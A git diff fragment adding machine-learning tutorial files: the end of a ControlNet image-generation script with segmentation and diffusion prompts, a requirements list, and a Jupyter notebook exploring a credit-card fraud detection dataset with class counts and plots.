load_image("https://cdn.pixabay.com/photo/2023/02/24/07/14/crowd-7810353_1280.jpg") +image_input + +# %% +# get the pixel values +pixel_values = image_processor(image_input, return_tensors="pt").pixel_values + +# do semantic segmentation +with torch.no_grad(): + outputs = image_segmentor(pixel_values) + +# post process the semantic segmentation +seg = image_processor.post_process_semantic_segmentation(outputs, target_sizes=[image_input.size[::-1]])[0] + +# add colors to the different identified classes +color_seg = np.zeros((seg.shape[0], seg.shape[1], 3), dtype=np.uint8) # height, width, 3 +for label, color in enumerate(palette): + color_seg[seg == label, :] = color + +# convert into PIL image format +color_seg = color_seg.astype(np.uint8) +image_seg = Image.fromarray(color_seg) + +image_seg + +# %% +image_output = pipe("A crowd of people staring at a glorious painting", image_seg, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("Aliens looking at earth from inside their spaceship from a window, not creepy, not scary, not gross, octane render, smooth", image_seg, num_inference_steps=20).images[0] +image_output + +# %% + + + diff --git a/machine-learning/control-image-generation-with-controlnet/requirements.txt b/machine-learning/control-image-generation-with-controlnet/requirements.txt new file mode 100644 index 00000000..6efce1d9 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/requirements.txt @@ -0,0 +1,6 @@ +xformers +diffusers +transformers +accelerate +controlnet_aux +opencv-contrib-python \ No newline at end of file diff --git a/machine-learning/credit-card-fraud-detection/CreditCardDetection.ipynb b/machine-learning/credit-card-fraud-detection/CreditCardDetection.ipynb new file mode 100644 index 00000000..aa570af7 --- /dev/null +++ b/machine-learning/credit-card-fraud-detection/CreditCardDetection.ipynb @@ -0,0 +1,1440 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "# Importing modules \n", + "import numpy as np\n", + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "import seaborn as sns\n", + "from matplotlib import gridspec" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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378.66 \n", + "3 -0.190321 -1.175575 0.647376 -0.221929 0.062723 0.061458 123.50 \n", + "4 -0.137458 0.141267 -0.206010 0.502292 0.219422 0.215153 69.99 \n", + "284802 1.014480 -0.509348 1.436807 0.250034 0.943651 0.823731 0.77 \n", + "284803 0.012463 -1.016226 -0.606624 -0.395255 0.068472 -0.053527 24.79 \n", + "284804 -0.037501 0.640134 0.265745 -0.087371 0.004455 -0.026561 67.88 \n", + "284805 -0.163298 0.123205 -0.569159 0.546668 0.108821 0.104533 10.00 \n", + "284806 0.376777 0.008797 -0.473649 -0.818267 -0.002415 0.013649 217.00 \n", + "\n", + " Class \n", + "0 0 \n", + "1 0 \n", + "2 0 \n", + "3 0 \n", + "4 0 \n", + "284802 0 \n", + "284803 0 \n", + "284804 0 \n", + "284805 0 \n", + "284806 0 \n", + "\n", + "[10 rows x 31 columns]" + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "#read the dataset\n", + "dataset = pd.read_csv(\"creditcard.csv\")\n", + "# read the first 5 and last 5 rows of the data\n", + "dataset.head().append(dataset.tail())" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Fraudulent Cases: 492\n", + "Valid Transactions: 284315\n", + "Proportion of Fraudulent Cases: 0.001727485630620034\n" + ] + }, + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 4, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": 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nkMZ6Q57GP/EOMQ0qk9H8HXC3dwhpnM/nadyZDyKVyQjKbU+WA63Zw1Mm7h46toisMhlRubhzsncOaYQAvCZP4597B5kmlcl43gV8yTuE1N6J5YdPp1gIGrmPI0qyRwBXAbt4Z5FaOi9P4yO8Q3jQyGRMeRrfDxxK8ZWfyLCr6MjXwBujMlmA8jCPrwD63lmkNm4HDm3bAY/GoTJZoHJz+7d555BaWA0ckqdxpzcfUJksQp7G7wM+4p1DXA2AI9q8N/CoVCaL9wZadmBgGcsb8jTWN3zo25xKREnWo5gq42XeWWSqjsnT+HTvEHWhkUkF8jTuA0cAX/DOIlPzJhXJ+lQmFcnTeA3wcuCz3llkogLwxjyNP+AdpG60mFOxcpHnP4BXemeRyg2A5Xkaf8I7SB1pZFKxcpHnVcBp3lmkUmuAw1Ukm6aRyQRFSXYUxaTom3lnkUX5JfDyPI0v9Q5SZyqTCYuSbH/g88CjnaPIwtxIsWXrrd5B6k6LOROWp/HlwDOB7zpHkfF9FthHRTIajUymJEqyrYFPAwd6Z5F5DYB35ml8qneQJtHIZEryNF4JHEwxW6AavL7uBQ5WkYxPIxMHUZI9H/gEEDlHkfVdS/GNzQ+9gzSRRiYO8jT+GrA78O/eWQSA3wDHAc9SkSycRibOoiQ7EDgT2NE7S0ddARyZp/EPvIM0nUYmzvI0/iqwG/BJ7ywdswo4BnieiqQaGpnUSJRkh1CsoN3ZO0vLXUqxWXzuHaRNVCY1EyXZLHA0cALwh85x2uZ7wAl5GmtnzAlQmdRUeRT8Y4G3AFs5x2m624CTgHPLfadkAlQmNRcl2WMp5us5Epj1TdM4dwOnAGfkafw77zBtpzJpiCjJngIcDxyGdhycz73APwGn5Wm82jlLZ6hMGiZKsh0ojjt7NNp5cEM/oDjA91l5Gt/nHaZrVCYNFSXZlhQHYHotsMw5jqc+cDHwYeCSPI31gnaiMmmBKMn2ohipHAY8yjfN1PwQOAs4J0/ju7zDiMqkVaIk2wzYj2L60hcBj3MNVL1bgAy4ME/jK7zDyPpUJi0WJdlSimI5lGIr26b5LfA1igLJdFyRelOZdESUZE8CXgDsXZ52BXquoR5qDXAz8E2K9SCX5mn8a99IMiqVSUeVK3CfwbpyWUaxGb9NKcL9wA3AdeXpeuBmbQ/SXCoT+b0oybYCdqLYg3lHinUuw+c7AlsDS9j0qCYAv6DYYGxTpx8AP9I3L+2iMpEFKecHWkKxVe6gPPWBB/M0HnhmEx8qExGphI5nIiKVUJmISCVUJiJSCZWJiFRCZSIilVCZiEglVCYiUgmViYhUQmUiIpVQmYhIJVQmIlIJlYmIVEJlIiKVUJmISCVUJiJSCZWJiFRCZSIilVCZiEglVCYiUgmViYhUQmUiIpVQmYhIJVQmIlIJlYmIVEJlIiKVUJmISCVUJiJSif8H6IMi9H+efocAAAAASUVORK5CYII=", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "# check for relative proportion \n", + "print(\"Fraudulent Cases: \" + str(len(dataset[dataset[\"Class\"] == 1])))\n", + "print(\"Valid Transactions: \" + str(len(dataset[dataset[\"Class\"] == 0])))\n", + "print(\"Proportion of Fraudulent Cases: \" + str(len(dataset[dataset[\"Class\"] == 1])/ dataset.shape[0]))\n", + "\n", + "# To see how small are the number of Fraud transactions\n", + "data_p = dataset.copy()\n", + "data_p[\" \"] = np.where(data_p[\"Class\"] == 1 , \"Fraud\", \"Genuine\")\n", + "\n", + "# plot a pie chart\n", + "data_p[\" \"].value_counts().plot(kind=\"pie\")" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": {}, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n" + ] + }, + { + "data": { + "image/png": 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